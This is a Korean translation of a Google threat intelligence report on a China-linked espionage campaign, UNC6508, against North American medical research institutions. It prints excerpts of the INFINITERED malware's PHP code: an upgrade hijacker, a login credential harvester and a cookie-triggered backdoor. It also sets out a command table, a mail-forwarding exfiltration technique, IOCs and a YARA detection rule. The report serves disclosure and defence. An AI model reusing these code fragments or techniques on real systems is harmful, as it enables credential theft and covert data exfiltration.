콘텐츠로 이동하기
위협 인텔리전스

인공지능, 사이버, 의료 및 국방 연구를 추적하는 중국 연계 위협 행위자의 표적이 된 공공 및 민간 의료 커뮤니티

2026년 6월 15일
Google Threat Intelligence Group

Google Threat Intelligence

Visibility and context on the threats that matter most.

Contact Us & Get a Demo

해당 블로그의 원문은 2026년 6월 16일 Google Cloud 블로그(영문)에 게재되었습니다. 


작성자: Patrick Whitsell, John McGuiness


구글 위협 인텔리전스 그룹(GTIG)은 북미 학술, 의료 및 군사 연구 커뮤니티의 기관들을 표적으로 삼은 중국 연계 위협 행위자 UNC6508의 소행으로 파악된 정교한 캠페인을 식별했습니다. 1년 이상 탐지되지 않은 상태를 유지하는 동안, 이 위협 행위자는 외부 노출 웹 애플리케이션을 침해하고, 전용 악성코드를 배포했으며, 민감한 내부 시스템으로 측면 이동하고, 은밀한 데이터 유출을 위해 기업 관리 도구를 악용했습니다. 이 위협 행위자는 국가 안보, 인도-태평양 사령부 작전, 인공지능, 무인 차량 시스템, 사이버 공격 프로그램 및 의료 연구와 관련된 민감한 국방 정보를 포함하여 광범위한 수집 열망을 가지고 있었습니다.

GTIG는 이 위협 행위자와 관련된 악성 인프라를 차단했습니다. 맨디언트 컨설팅(Mandiant Consulting)과 협력하여 탐지 즉시 영향을 받은 조직에 알리고 복구를 위한 지원을 제공했습니다. 우리는 방어자들이 네트워크 내에서 침해 지표(IOC)를 식별할 수 있도록 관련 인텔리전스로 Google Security Operations(SecOps)를 업데이트했습니다. 모든 사용자 및 고객이 서드파티 신원 제공업체(IdP)에 대한 권장 모범 사례를 따르고 모든 계정에서 2단계 인증(2SV)이 활성화되어 있는지 확인할 것을 권장합니다.

캠페인 개요

이 캠페인은 다양한 국가, 주 및 민간 의료 기관을 표적으로 삼았습니다. 이러한 조직에는 세계적으로 유명한 임상 제공업체, 최고의 학술 센터, 북미 군사 보건 기관, 전문 옹호 단체 및 보건 규제 기관이 포함됩니다. 이들의 연구 분야는 분자 발견 및 임상 약물 시험에서 주 정부 수준의 공공 보건 정책 및 군사 대비 태세에 이르기까지 현대 의학의 광범위한 스펙트럼에 걸쳐 있습니다. 이들은 수천 명의 직원을 고용하고 있으며 총연구 예산은 수십억 달러에 달합니다.

가장 이른 것으로 알려진 침해는 2023년 9월에 발생했으며, 그 이후 GTIG는 일관된 운영 패턴을 관찰했습니다. 위협 행위자는 외부로 노출된 REDCap(Research Electronic Data Capture) 서버를 악용하고 정상적인 REDCap 로그인 자격 증명을 캡처하기 위해 INFINITERED라는 커스텀 악성코드를 배포했습니다. 그 후 1년 이상 탐지되지 않은 상태를 유지한 후, UNC6508은 캡처한 자격 증명을 사용하여 피해자의 내부 네트워크에 액세스했습니다. 위협 행위자는 데이터 유출을 위해 도메인 콘텐츠 규정 준수 규칙을 조작하는 새로운 기법을 사용하는 것도 관찰되었습니다. 마지막으로, UNC6508은 자신들의 활동을 숨기고 난독화하기 위해 정교한 운영 보안(OpSec) 기법을 사용했습니다.

GTIG는 구글 클라우드 전반에서 위협 인텔리전스, 침해 사고 대응 및 리버스 엔지니어링 전문 지식을 결합하기 위해 맨디언트 컨설팅(Mandiant Consulting), FLARE 팀 및 Workspace Security와 긴밀히 협력했습니다. 이를 통해 최초 침해부터 최종 목표 달성까지의 전체 공격 수명 주기에 대한 완전한 그림을 구축할 수 있었습니다. 또한 GTIG는 협조해 준 피해 조직들과 그들이 공유한 가치 있는 포스트 익스플로잇 통찰력에 대해 감사의 뜻을 전합니다.

예방, 탐지 및 해결 방안

GTIG는 방어자들이 이 위협을 완화하기 위해 모든 클라우드 엔터프라이즈 플랫폼에서 다음과 같은 보안 조치를 시행할 것을 권장합니다.

  • 관리자 계정 보호: 서드파티 신원 제공업체를 통한 인증을 포함하여 기업 관리자 계정에 대해 피싱 방지형 2단계 인증(2SV)을 강제 적용하십시오.

  • 고급 보호: 악성코드 및 피싱 공격에 대한 추가적인 안전 장치를 위해 매우 민감한 계정을 구글의 고급 보호 프로그램에 등록하는 것을 고려하십시오.

  • 쿠키 탈취 방지: 세션 하이재킹을 방지하기 위해 Windows 기기의 매우 민감한 계정에 대해 컨텍스트 인식 액세스(CAA)와 함께 기기 바인딩 세션 자격 증명(DBSC)을 강제 적용하십시오.

  • 감사 로그 모니터링: 데이터 변경 사항을 분석, 모니터링 및 경고할 수 있도록 감사 로그를 활성화하십시오.

  • 데이터 제어: 민감한 데이터의 외부 공유를 차단하거나 경고하도록 데이터 손실 방지(DLP) 규칙을 정의하십시오.

  • 규정 준수 규칙 감사: 무단 수정 사항이 있는지 관리자 감사 로그 및 콘텐츠 규정 준수 규칙을 검토하십시오.

  • SIEM 커버리지Google Security Operations(SecOps) 사용을 고려하고 Workspace 로그가 보안 정보 및 이벤트 관리(SIEM) 파이프라인에 포함되도록 하십시오.

  • 비밀번호 보호: 잠재적으로 침해된 비밀번호 사용이 감지되었을 때 경고하도록 Chrome Enterprise 비밀번호 유출 감지를 사용하십시오.

  • REDCap 패치: REDCap 설치를 최신 소프트웨어 버전으로 완전히 업데이트하고 이전 버전이 완전히 제거되었는지 확인하십시오.

  • INFINITERED 모니터링: 제공된 YARA 규칙 및 IOC를 사용하여 REDCap 서버에서 INFINITERED의 존재 여부를 스캔하십시오.

의학 연구 대학 침해 사례

2023년 9월, 북미 의학 연구 기관에 속한 REDCap 서버가 침해되었습니다. 2025년 11월까지 지속적인 활동이 관찰되었습니다. 이 기간 동안 UNC6508은 다음과 같은 공격 체인을 수행했습니다.

  1. REDCap 서버를 악용합니다.

  2. 3개월 후, INFINITERED 악성코드를 배포합니다.

  3. INFINITERED는 1년 이상 업그레이드를 통해서도 유지되며 자격 증명을 은밀하게 기록합니다.

  4. 도메인 관리자 계정으로 측면 이동합니다.

  5. 악성 콘텐츠 규정 준수 규칙을 추가합니다.

  6. 일치하는 이메일을 위협 행위자가 통제하는 계정으로 몰래 "BCC 전달(숨은참조 전달)"합니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/inifinitered-fig1.max-2200x2200.png

그림 1: 캠페인 공격 흐름도

최초 침투: REDCap 취약점 악용 및 INFINITERED

UNC6508은 일관되게 REDCap 서버를 표적으로 삼았습니다. REDCap은 의학 및 과학 연구 규정을 준수하면서 온라인 데이터베이스와 설문조사를 구축하고 관리할 수 있도록 특별히 설계된 웹 기반 소프트웨어 플랫폼입니다. 이는 북미 의료 연구 커뮤니티에서 매우 흔히 사용되는 플랫폼입니다.

GTIG는 UNC6508이 처음에 어떻게 REDCap 서버에 접근 권한을 획득했는지 명확히 확인하지 못했습니다. 설계상 REDCap은 관리자가 현재 버전과 함께 레거시 소프트웨어를 나란히 계속 실행할 수 있도록 허용합니다. UNC6508은 여러 표적 조직의 REDCap 시스템에서 이러한 취약한 레거시 버전을 탐색(probe)하는 것이 관찰되었습니다. 이는 보안 패치를 신속하게 적용하는 것뿐만 아니라, 다운그레이드 공격을 방지하기 위해 오래된 소프트웨어 버전을 즉시 제거하는 것이 얼마나 중요한지 보여줍니다.

REDCap 서버에 발판을 확보한 UNC6508은 데이터베이스 및 서비스 계정 자격 증명을 획득하기 위해 내부 정찰과 자격 증명 탐색을 수행했습니다. 위협 행위자는 또한 "help.php"라는 이름의 웹셸을 배포하여 지속성을 유지하고 REDCap 애플리케이션 내에서 업로더 역할을 수행하도록 했습니다.

INFINITERED 분석

최초 침해로부터 3개월 후, UNC6508은 INFINITERED로 추적되는 커스텀 악성코드 페이로드를 배포했습니다. 이 악성코드는 정상적인 REDCap 시스템 파일을 트로이 목마화하여 3가지 고유한 모듈식 구성 요소를 통해 기능을 구현합니다.

  • 드롭퍼 및 업그레이드 가로채기

  • 자격 증명 수집기

  • 명령 및 제어(C2) 기능이 포함된 백도어 

GTIG는 미국과 캐나다 전역의 여러 조직이 INFINITERED에 침해된 사실을 발견했습니다. 이러한 모든 조직은 탐지 즉시 침해 사실을 통보받았으며, 복구를 위한 지원을 받았습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/inifinitered-fig2a.max-2100x2100.png

그림 2: INFINITERED 다이어그램

드롭퍼 및 업그레이드 가로채기

지속적인 원격 액세스를 유지하기 위해, INFINITERED는 업그레이드 프로세스를 가로채서 새로운 REDCap 버전에 자신의 코드를 주입합니다. 이 기능은 정상적인 REDCap 업그레이드 시스템 파일에 삽입되어 있습니다. INFINITERED는 다음 단계에 따라 이 코드 주입을 수행합니다.

  1. INFINITERED 코드가 포함된 현재 소프트웨어 버전을 읽습니다.

  2. GUID 구분 기호 b49e334d-9c01-463e-9bc5-00a6920fb66e를 사용하여 악성 로직을 추출합니다.

  3. 커스텀 훅(hooks) 구성 파일에 백도어 코드를 주입합니다.

  4. 인증 시스템 파일에 자격 증명 수집기 코드를 주입합니다.

  5. 2단계에서 추출한 코드를 업그레이드 시스템 파일에 주입합니다.

Elastic Beanstalk 환경에서, INFINITERED는 클라우드 배포 시 지속성을 보장하기 위해 추가 단계를 수행합니다.

// b49e334d-9c01-463e-9bc5-00a6920fb66e
...
$file_upgrade = $base_path."Upgrade.php"; 
$file_content_upgrade = $zip->getFromName($file_upgrade); // new upgrade file content
$file_content_upgrade_local = file_get_contents(__FILE__); // Contents of the current file 
...
if ($file_content_upgrade !== false) {
    // Base64 GUID delimiter
    $dummy_marker = base64_decode('YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl');
    $pattern = "/$dummy_marker(.*?)$dummy_marker/s";
    if (preg_match($pattern, $file_content_upgrade_local, $matches)) {
        $extracted_text = $matches[0];
        $search_content = "// If running on AWS Elastic Beanstalk"; 
        $upgrade_decode = "// ".$extracted_text."\r\n\t\t".$search_content;
        $new_content = str_replace($search_content, $upgrade_decode, $file_content_upgrade);
        $zip->deleteName($file_upgrade);
        $zip->addFromString($file_upgrade, $new_content);
    }
}
$zip->close();
...
// b49e334d-9c01-463e-9bc5-00a6920fb66e

코드 스니펫 1: 업그레이드 가로채기 및 INFINITERED 코드 주입

자격 증명 수집기

INFINITERED는 사용자 계정을 침해하기 위해 인증 시스템 파일에 자격 증명 수집기를 주입합니다. 이 악성코드 구성 요소는 로그인 프로세스 중에 POST 요청을 통해 제출된 사용자 이름과 비밀번호를 캡처합니다. 자격 증명은 환경의 기본 암호화 루틴을 사용하여 암호화되며 세션 ID 앞에 "xc32038474a" 문자열이 접두사로 붙은 채 로컬 REDCap 세션 데이터베이스 테이블 내에 숨겨집니다.
$currentUTC = gmdate('Y-m-d H:i:s');
$str = encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);
include dirname(__FILE__, 3) . DIRECTORY_SEPARATOR . 'redcap_connect.php';
$expiration_timestamp = strtotime("+60 days", strtotime($currentUTC));
$session_id = 'xc32038474a'.substr(bin2hex($currentUTC), -20);
$session_sql = "INSERT INTO [REDACTED] ([REDACTED],[REDACTED],[REDACTED]) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))";
@$rc_connection->query($session_sql);

코드 스니펫 2: 정당한 데이터베이스 테이블에 자격 증명 숨기기

백도어

INFINITERED는 또한 업데이트 패키지 내부의 맞춤형 후크(hooks) 시스템 파일, 구체적으로 모든 REDCap 페이지가 로드될 때마다 실행되는 함수 내에 구축하는 백도어 기능을 가지고 있습니다. 이 글로벌 후크는 페이지가 로드될 때마다 백도어가 실행되도록 보장합니다. INFINITERED는 "REDCAP-TOKEN"이라는 이름의 특정 HTTP 쿠키 매개변수와 특정 평문 문자열로 시작하는 쿠키 값을 찾습니다. 이러한 조건이 충족되면, 악성코드는 접두사를 제거하고 환경의 기본 복호화 루틴을 사용하여 나머지 페이로드를 복호화합니다.
$cookieValue = $_COOKIE['REDCAP-TOKEN'];
if ($cookieValue) {
    $magic_flag = '[REDACTED]'; // Cookie prefix
    ...
    // Decrypt message if cookie prefix is found
    $key = '[REDACTED]';
    $req_data = substr($cookieValue, strlen($magic_flag));
    $req_data = decrypt($req_data, $key);

코드 스니펫 3: INFINITERED로 전달되는 명령 복호화

복호화된 페이로드가 비어 있는 경우, 악성코드는 비콘 역할을 하여 OS, PHP 버전, 작업 디렉토리 등의 시스템 세부 정보와 호스트 이름, 사용자 이름, 비밀번호, 솔트(salt)를 포함한 데이터베이스 자격 증명을 반환합니다. 페이로드가 비어 있지 않은 경우, 악성코드는 페이로드에서 명령 태그를 구문 분석하며, 침해 행위자는 이를 사용하여 셸 명령을 실행하고, 원시 SQL 쿼리를 실행하며, 파일을 전송할 수 있습니다. 

지원되는 명령

INFINITERED는 다음 명령을 실행할 수 있습니다.

명령 태그

설명

00

shell_exec를 사용하여 임의의 시스템 명령을 실행합니다.

02

서버에 파일을 업로드합니다. 페이로드에는 대상 경로와 파일 콘텐츠가 포함됩니다.

03

정당한 데이터베이스 테이블에 저장된 탈취된 자격 증명을 가져옵니다.

04

정당한 데이터베이스 테이블에서 탈취된 자격 증명 레코드를 삭제합니다.

05

데이터베이스에 대해 임의의 SQL 쿼리를 실행하고 결과를 반환합니다.

ej671a16i7fd8202nu6ltfg5p6x7u

서버에서 임의의 파일을 다운로드합니다. 이 태그 뒤에 오는 페이로드는 대상 파일의 전체 파일 시스템 경로를 지정합니다.

비어 있는 페이로드

시스템 정보, 데이터베이스 자격 증명 및 구성 세부 정보를 비콘으로 전송합니다.

표 1: INFINITERED에서 지원되는 명령

도메인 콘텐츠 규정 준수 규칙 악용

최초 침해 발생 후 1년이 지난 시점에, UNC6508은 REDCap에서 수집한 중복 자격 증명을 사용하여 관리자 계정에 액세스했습니다. 이는 시스템을 전체론적으로 보호하는 것의 어려움과 중요성을 잘 보여줍니다. 방어자는 자격 증명 재사용 공격을 완화하기 위해 2단계 인증(2SV)을 활성화하고 서로 다른 보안 도메인 간에 고유한 자격 증명이 사용되도록 보장해야 합니다. 

그 후 UNC6508은 많은 클라우드 기반 기업용 생산성 제품군에 존재하는 정당한 기능인 콘텐츠 규정 준수 규칙을 활용하여 특정 이메일 통신을 탈취했습니다. 관리자는 사전에 정의된 단어, 문구, 텍스트 패턴 또는 숫자 패턴의 집합과 일치하는 콘텐츠가 포함된 이메일 메시지를 관리하기 위해 이러한 규칙을 생성할 수 있습니다. 기본적으로 규정 준수 규칙은 조직 단위의 모든 사용자에게 적용됩니다. 데이터 탈취를 위해 규정 준수 규칙을 사용하는 것은 중국 연계(PRC-nexus) 침해 행위자들에게서 이전에는 관찰되지 않은 새로운 기법입니다. 

구체적으로, UNC6508은 정규 표현식을 사용하여 송수신된 이메일의 핵심 단어 및 이메일 주소 패턴을 매칭하는 'Patroit' [원문 그대로임]라는 이름의 규정 준수 규칙을 생성했습니다. 일치하는 항목은 침해 행위자가 제어하는 Gmail 주소인 BebitaBarefoot774[@]gmail[.]com으로 사용자 모르게 숨은 참조(BCC) 전달되어, 탈취된 데이터가 은밀하고 지속적으로 유출되었습니다. 이를 발견한 즉시 GTIG는 추가적인 데이터 탈취를 방지하기 위해 해당 Gmail 계정을 비활성화했습니다.
https://storage.googleapis.com/gweb-cloudblog-publish/images/inifinitered-fig3.max-2100x2100.png

그림 3: 표적 정보 수집 범주

“Patroit” 규정 준수 규칙에 사용된 패턴은 지정학적 정책, 군사 전략, 첨단 기술, 의료 연구를 겨냥한 전략적 정보 수집을 시사합니다. 또한 이러한 분야에 속한 조직 구성원들의 업무용 이메일 주소와 전화번호도 패턴에 포함되어 있습니다. 적용된 용어 중 여러 개에 철자 오류가 있는 것으로 보아, 해당 목록이 수동으로 관리되었음을 알 수 있습니다. 

UNC6508의 이처럼 광범위한 정보 수집 범위는 의료 연구 커뮤니티에서 확인된 피해자들 외에도 더 다양한 대상을 표적으로 삼고 있음을 시사할 수 있습니다. GTIG는 이러한 수집 우선순위가 중화인민공화국(PRC)의 전략적 이익과 일치하는 것으로 평가합니다. 

용어의 대부분은 국방 및 기술과 관련이 있지만, 의료 연구 시설과 특정 병원체인 '치쿤구니야(Chikungunya)'를 포함한 용어는 다른 용어들 사이에서 두드러집니다. 치쿤구니야는 모기를 통해 인간에게 전파되는 바이러스성 질환으로, 2025년 7월부터 시작된 중국 광둥성의 유행 원인이었습니다. 

Operations Security (OpSec)

GTIG는 UNC6508이 방어자로부터 자신들의 활동을 숨기기 위해 정교하고 세밀한 OpSec 기법을 사용하는 것을 관찰했습니다.
https://storage.googleapis.com/gweb-cloudblog-publish/images/inifinitered-fig4.max-2200x2200.png

그림 4: UNC6508 운영 보안 기법

UNC6508은 난독화(OBF) 네트워크에 크게 의존했습니다. 현재 중국 연계(PRC-nexus) 행위자들이 자주 채택하는 이 전략은 공격 작업의 트래픽을 침해된 라우터, 주거용 프록시(residential proxies), 가상 사설 서버(VPS) 및 기타 장치의 조합을 통해 라우팅하는 방식을 포함합니다. 

이 작업은 'BebitaBarefoot774[@]gmail[.]com' 계정에 액세스할 때와 침해된 기업 관리자 계정에 액세스하기 위해 정당한 자격 증명을 재사용(replay)할 때 모두 대역 외 인프라로서 오직 미국 기반의 OBF 네트워크 IP 주소만을 사용했습니다. 위협 행위자가 제어하는 Gmail 계정을 대량 생성 서비스를 통해 확보하고 이를 이메일 데이터 탈취 전용으로만 사용하는 등 추가적인 OpSec 기법도 활용되었습니다. 

UNC6508은 높은 수준의 OpSec을 유지함으로써, 방어자가 악성 패턴을 식별하고 정확한 귀속(attribution)을 확립하며 위협 행위자의 인프라를 매핑하려는 노력을 크게 복잡하게 만듭니다. 

귀속 (Attribution)

GTIG는 높은 신뢰도로 이 활동을 UNC6508의 소행으로 귀속시킵니다. 이 평가는 캠페인 간의 인프라 중복, REDCap 서버에서의 일관된 INFINITERED 백도어 사용, 그리고 의료 연구 및 국방 부문을 겨냥한 특정 표적 공격을 기반으로 합니다. 우리는 UNC6508을 스파이 활동이 동기인 위협 클러스터로 평가하며, 이들의 우선순위는 과거 중국 정부가 후원한 스파이 활동 트렌드 및 정보 수집 요구사항과 일치합니다. 

침해 지표 (IOCs) 

더 넓은 커뮤니티를 지원하기 위해, 등록된 사용자를 위한 GTI 컬렉션에 지표 목록도 포함했습니다. 

네트워크 지표

침해 지표

유형

맥락

BebitaBarefoot774@gmail.com

이메일

이메일 데이터 유출용 계정

23.169.65.49

IP

관리자 로그인 접속지 (해킹된 ASUS 라우터)

파일 지표

설명

SHA256

지속성 유지 (help.php)

ba6b73b0ca0dc7f86b3b397893ac32d729fd53f9df20643288f141f29d020af7

자격 증명 수집기

db65c1b9f9e4cb4d729f45ad4b6fcf3e277caf9eb4c875425dec93fd883f9136

자격 증명 수집기

c1ac43d23f89d41eb4ff131678ab562ab2cfed9aa334b13767ef141d303b0e5b

백도어 

8f0158855a656b629ca76ebca565f18bc25563ded34b65d6771632c20edb68ec

백도어

51a57bfc9ed3eb6451c1c289607814d59e1698c666fb97ac5f694c398f23d045

드롭퍼 

4efbef69eb3b09bacff892d6a55778d07c418e7f15eba3cf1245e8cdfd8dda0b

드롭퍼

58bb25777e0aa86bcd2125101e0bca4e8732b03d91bd8d2f205b446a2a8d5c86

호스트 지표

지표

설명

b49e334d-9c01-463e-9bc5-00a6920fb66e

INFINITERED 현재 소프트웨어 버전 GUID 구분 기호

xc32038474a

INFINITERED REDCap 데이터베이스 세션 ID 접두사

MITRE ATT&CK Mapping

전술

기법 ID

기법 이름

맥락/활동

최초 침투

T1190

공공 웹 애플리케이션 악용

REDCap 설문 조사 관리 서버 취약점 악용

지속성 유지

T1505.003

서버 소프트웨어 구성 요소: 웹셸

INFINITERED 및 업로더 배포

 

T1554

클라이언트 소프트웨어 바이너리 변조

업데이트를 가로채기 위한 REDCap 수정

방어 우회

T1027

난독화된 파일 또는 정보

PHP 파일 내 악성 페이로드에 Base64 인코딩 사용

 

T1090.003

프록시: 다중 홉 프록시

해킹된 IoT 기기(난독화 네트워크)를 통해 트래픽 라우팅

 

T1562.001

방어력 약화: 도구 비활성화 또는 수정

사용자 탐지를 피하기 위해 "숨은(silent)" 숨은참조(BCC) 규칙 생성

 

T1689

다운그레이드 공격

취약한 레거시 버전의 REDCap 악용

자격 증명 접근

T1555

패스워드 저장소의 자격 증명

로컬 구성 파일 접근

 

T1056.003

입력 캡처: 웹 포털 캡처

로그인 POST 요청에서 INFINITERED가 평문 자격 증명 수집

수집

T1114.003

이메일 수집: 이메일 전달 규칙

자동 유출을 위해 콘텐츠 규정 준수 규칙("Patroit") 사용

 

T1213

정보 저장소의 데이터

전략적 키워드 검색을 위해 스토리지 및 이메일 검색

명령 및 제어

T1071.001

애플리케이션 레이어 프로토콜: 웹 프로토콜

HTTP 쿠키 파라미터(REDCAP-TOKEN)를 통한 C2 통신

유출

T1567

웹 서비스를 통한 유출

행위자 통제 Gmail 주소로 민감한 데이터를 은밀하게 전달

 

T1071.001

애플리케이션 레이어 프로토콜: 웹 프로토콜

C2 명령에 대한 HTTP 응답

Detections

YARA Rules

rule G_Backdoor_INFINITERED_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$magic_flag = "ej671a16i7fd8202nu6ltfg5p6x7u"
		$magic_flag_base64 = "ej671a16i7fd8202nu6ltfg5p6x7u" base64
		$marker = "b49e334d-9c01-463e-9bc5-00a6920fb66e"
		$marker_base64 = "YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl"
		$s1 = "substr($cookieValue, strlen($magic_flag));"
		$s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']"
		$s3 = "'data' => encrypt($data, $key)"
		$s4 = "$data = shell_exec($command);"
		$s5 = "move_uploaded_file($tmpPath, $fileName)"
		$s6 = "$data = implode('|', $fields)"
		$b_s1 = "substr($cookieValue, strlen($magic_flag));" base64
		$b_s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']" base64
		$b_s3 = "'data' => encrypt($data, $key)" base64
		$b_s4 = "$data = shell_exec($command);" base64
		$b_s5 = "move_uploaded_file($tmpPath, $fileName)" base64
		$b_s6 = "$data = implode('|', $fields)" base64
		$t1 = "(isset($_POST['username']) && $_POST['password'])"
		$t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))"
		$t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);"
		$t4 = "redcap_connect.php"
		$b_t1 = "(isset($_POST['username']) && $_POST['password'])" base64
		$b_t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))" base64
		$b_t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);" base64
		$b_t4 = "redcap_connect.php" base64
		$u1 = "$zip->open($filename) === TRUE)"
		$u2 = "$hooks_encode ="
		$u3 = "$auth_encode ="
		$u4 = "$file_content_hooks = $zip->getFromName($file_hooks);"
		$u5 = "$file_content_auth = $zip->getFromName($file_auth);"
		$u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);"
		$u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);"
		$u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);"
		$u9 = "str_replace($search_content, $auth_decode, $file_content_auth);"
		$b_u1 = "$zip->open($filename) === TRUE)" base64
		$b_u2 = "$hooks_encode =" base64
		$b_u3 = "$auth_encode =" base64
		$b_u4 = "$file_content_hooks = $zip->getFromName($file_hooks);" base64
		$b_u5 = "$file_content_auth = $zip->getFromName($file_auth);" base64
		$b_u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);" base64
		$b_u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);" base64
		$b_u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);" base64
		$b_u9 = "str_replace($search_content, $auth_decode, $file_content_auth);" base64
		$filemarker = "<?php"
	condition:
		filesize < 1MB and $filemarker in (0 .. 128) and (((any of ($magic*) or any of ($marker*)) and (any of ($s*) or any of ($t*) or any of ($u*))) or 4 of ($s*) or 4 of ($b_s*) or all of ($t*) or all of ($b_t*) or 6 of ($u*) or 6 of ($b_u*))
}
게시 위치